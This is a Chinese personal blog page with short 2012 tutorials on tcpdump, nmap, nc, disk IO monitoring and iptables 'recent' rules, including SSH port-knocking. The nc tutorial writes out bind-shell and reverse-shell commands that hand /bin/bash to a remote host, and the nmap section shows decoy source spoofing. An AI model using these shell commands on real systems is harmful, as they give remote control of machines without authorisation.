海运的博客

Linux网络工具之tcpdump使用

发布时间:May 3, 2012 // 分类:网络工具 // No Comments

Tcpdump使用语法:

tcpdump [ -adeflnNOpqStvx ] [ -c count ] [ -F file ][ -i interface ] [ -r file ] [ -w file ]

参数:

-c 指定监听的封包数,默认持续监听。
-e 显示链路层报头
-nn 以数字方式显示IP及端口
-i 指定监听的网卡
-F 读取文件内的过滤参数
-q 快速输出模式
-l 使标准输出变为行缓冲形式,用于重定向分析
-w 数据包保存为文件
-r 读取保存的数据包
-A 以ASCII编码显示数据包
-x 以十六进制显示
-s 指定抓包显示一行的宽度,-s0表示显示完整的包

应用举例:
1.监听单个IP的所有TCP通信

#https://www.haiyun.me
tcpdump tcp -nn -v host 192.168.1.16

2.监听指定IP间的ARP通信

tcpdump arp -nn -v host 192.168.1.16 and 192.168.1.1

3.监听DNS查询数据包

tcpdump udp port 53

4.监听目标端口80的数据包

tcpdump -A -v dst port 80  

5.监听指定IP目标80端口的数据包

tcpdump -A -v -s 0 host 192.168.1.235 and dst port 80

6.监听特定TCP标志的数据包

tcpdump tcp[tcpflags]=tcp-syn
#syn ack
tcpdump 'tcp[13] = 18'

7.监听HTTP HEAD:

#GET
tcpdump -s 0 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420'
#POST
tcpdump -s 0 -A 'tcp dst port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'
#所有HEAD
tcpdump -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'

Linux网络扫描工具nmap使用

发布时间:May 3, 2012 // 分类:网络工具 // No Comments

Nmap是linux下功能强大的网络扫描嗅探工具,支持多种扫描方式,还可侦测远端运行的操作系统。
使用语法:

nmap [Scan Type...] [Options] {target specification}

参数:

-P0  不ping主机,只进行扫描。
-PT  使用TCP的ping
-PB  这是默认类型,可以使用ICMP ping 也可以使用TCP ping。
-sL 仅列出指定网络上在线主机
-sP 只进行ping,不进一步扫描,用于判断主机是否在线。
-sS SYN扫描,只发送syn数据包。
-sT TCP扫描,默认扫描方式。
-sU UDP扫描
-sF FIN扫描
-sO 目标支持哪些协议
-iR 随机生成目录地址
-S 源地址欺骗
-D 使用一组地址为源地址欺骗
-R 反向DNS查询
-p 指定端口
-f 快速扫描模式
-O 探测目标操作系统
-A 全部扫描
-v 列出详细信息

应用举例:
1.扫描远程主机开放端口及操作系统:

nmap -sS -P0 -v -O host 

2.列出指定网段在线主机:

nmap -sP 192.168.1.0/24

3.列出指定网段内反向DNS:

nmap -R -sL 192.168.1.0/24

4.随机生成100IP扫描80端口并进行源IP欺骗:

nmap -iR 100 -p 80 -n -vv -e eth0 -D 192.168.1.5,ME 192.168.1.2

Linux网络工具之nc使用

发布时间:May 3, 2012 // 分类:网络工具 // No Comments

NC是一款小巧强大的网络工具,有瑞士军刀之称。
语法:

nc [-options] hostname port[s] [ports] ...

参数:

-l 监听模式
-i 延迟时间
-e 程序重定向
-p 本地端口
-r 任意本地或远程端口
-u 使用UDP协议
-U uinx sock模式
-n 使用IP地址
-v 显示指令执行过程
-w 超时时间
-z 关闭输入输出,用于扫描

应用举例:
1.端口扫描:

nc -v -z -w 1 www.haiyun.me 1-1000

2.传输文件:

nc -l 1000 < file
nc host 1000 > file

3.简单聊天软件:

nc -l 1000
nc host 1000

4.重定向shell到监听端口:

nc -l -p 5000 -e /bin/bash 

5.重定向shell并反向连接远程服务器:

nc -e /bin/bash www.haiyun.me 5000

Linux服务器查看占用IO较高的程序

发布时间:May 3, 2012 // 分类:系统调优 // No Comments

开启IO监控:

sysctl vm.block_dump=1
#或
echo 1 >/proc/sys/vm/block_dump 

开启后内核会将IO读写dump到日记,用dmesg查看:

dmesg

进程读写block到磁盘dm-0:

mysqld(7822): READ block 78196624 on dm-0
kjournald(529): WRITE block 211136 on dm-0
bash(8336): dirtied inode 7391146 (dmesg) on dm-0

统计当前占用IO最高的10个进程:

dmesg |awk -F: '{print $1}'|sort|uniq -c|sort -rn|head -n 10

Iptables模块recent应用

发布时间:May 3, 2012 // 分类:Iptables // 17 Comments

recent这个模块很有趣,善加利用可充分保证您服务器安全。
设定常用参数:

#https://www.haiyun.me
--name #设定列表名称,默认DEFAULT。
--rsource #源地址,此为默认。
--rdest #目的地址
--seconds #指定时间内
--hitcount #命中次数
--set #将地址添加进列表,并更新信息,包含地址加入的时间戳。
--rcheck #检查地址是否在列表,以第一个匹配开始计算时间。
--update #和rcheck类似,以最后一个匹配计算时间。
--remove #在列表里删除相应地址,后跟列表名称及地址。

示例:
1.限制80端口60秒内每个IP只能发起10个新连接,超过记录日记及丢失数据包,可防CC及非伪造IP的syn flood。

iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --rcheck --seconds 60 --hitcount 10 -j LOG --log-prefix 'DDOS:' --log-ip-options
iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --rcheck --seconds 60 --hitcount 10 -j DROP
iptables -A INPUT -p tcp --dport 80 --syn -m recent --name webpool --set -j ACCEPT

备忘:每个IP目标端口为80的新连接会记录在案,可在/proc/net/xt_recent/目录内查看,rcheck检查此IP是否在案及请求次数,如果超过规则就丢弃数据包,否则进入下条规则并更新列表信息。
2.发送特定指定执行相应操作,按上例如果自己IP被阻止了,可设置解锁哦。

#https://www.haiyun.me
iptables -A INPUT -p tcp --dport 5000 --syn -j LOG --log-prefix "WEBOPEN: "
#记录日志,前缀WEBOPEN:
iptables -A INPUT -p tcp --dport 5000 --syn -m recent --remove --name webpool --rsource -j REJECT --reject-with tcp-reset
#符合规则即删除webpool列表内的本IP记录

3.芝麻开门,默认封闭SSH端口,为您的SSH服务器设置开门暗语。

iptables -A INPUT -p tcp --dport 50001 --syn -j LOG --log-prefix "SSHOPEN: "
#记录日志,前缀SSHOPEN:
iptables -A INPUT -p tcp --dport 50001 --syn -m recent --set --name sshopen --rsource -j REJECT --reject-with tcp-reset
#目标端口tcp50001的新数据设定列表为sshopen返回TCP重置,并记录源地址。
iptables -A INPUT -p tcp --dport 22 --syn -m recent --rcheck --seconds 15 --name sshopen --rsource -j ACCEPT
#开启SSH端口,15秒内允许记录的源地址登录SSH。
nc host 50001  #开门钥匙
telnet host 50001
nmap -sS host 50001

指定端口容易被破解密钥,可以使用ping指定数据包大小为开门钥匙。

iptables -A INPUT -p icmp --icmp-type 8 -m length --length 78 -j LOG --log-prefix "SSHOPEN: "
#记录日志,前缀SSHOPEN:
iptables -A INPUT -p icmp --icmp-type 8 -m length --length 78 -m recent --set --name sshopen --rsource -j ACCEPT
#指定数据包78字节,包含IP头部20字节,ICMP头部8字节。
iptables -A INPUT -p tcp --dport 22 --syn -m recent --rcheck --seconds 15 --name sshopen --rsource -j ACCEPT
ping -s 50 host #Linux下解锁
ping -l 50 host #Windows下解锁
分类
最新文章
最近回复
  • 海运: 恩山有很多。
  • swsend: 大佬可以分享一下固件吗,谢谢。
  • Jimmy: 方法一 nghtp3步骤需要改成如下才能编译成功: git clone https://git...
  • 海运: 地址格式和udpxy一样,udpxy和msd_lite能用这个就能用。
  • 1: 怎么用 编译后的程序在家里路由器内任意一台设备上运行就可以吗?比如笔记本电脑 m参数是笔记本的...
  • 孤狼: ups_status_set: seems that UPS [BK650M2-CH] is ...
  • 孤狼: 擦。。。。apcupsd会失联 nut在冲到到100的时候会ONBATT进入关机状态,我想想办...
  • 海运: 网络,找到相应的url编辑重发请求,firefox有此功能,其它未知。
  • knetxp: 用浏览器F12网络拦截或监听后编辑重发请求,修改url中的set为set_super,将POS...
  • Albert: 啊啊啊啊啊啊啊啊啊 我太激动了,终于好了英文区搜索了半天,翻遍了 pve 论坛没找到好方法,博...
归档